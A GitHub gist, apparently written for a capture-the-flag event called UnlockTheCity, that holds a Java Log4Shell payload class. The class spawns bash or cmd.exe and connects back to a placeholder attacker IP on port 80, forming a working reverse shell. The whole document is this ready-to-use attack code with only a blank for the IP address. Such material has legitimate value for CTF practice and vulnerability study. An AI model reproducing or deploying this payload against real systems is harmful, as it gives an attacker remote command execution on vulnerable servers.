Skip to content

Instantly share code, notes, and snippets.

@khr0x40sh
Created July 29, 2022 12:08
Show Gist options
  • Select an option

  • Save khr0x40sh/e4493e6a09e08165bbcf5e8096eca0f1 to your computer and use it in GitHub Desktop.

Select an option

Save khr0x40sh/e4493e6a09e08165bbcf5e8096eca0f1 to your computer and use it in GitHub Desktop.
log4shell payload for UnlockTheCity
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class YuleLogExploit {
public YuleLogExploit() throws Exception {
String cmd;
String OS = System.getProperty("os.name").toUpperCase();
if (OS.contains("LINUX")) {
OS = "LINUX";
cmd = "/bin/bash";
} else {
OS = "WINDOWS";
cmd = "cmd.exe";
}
String host="XX.XX.XX.XX"; //<--- IP address goes here
int port=80;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment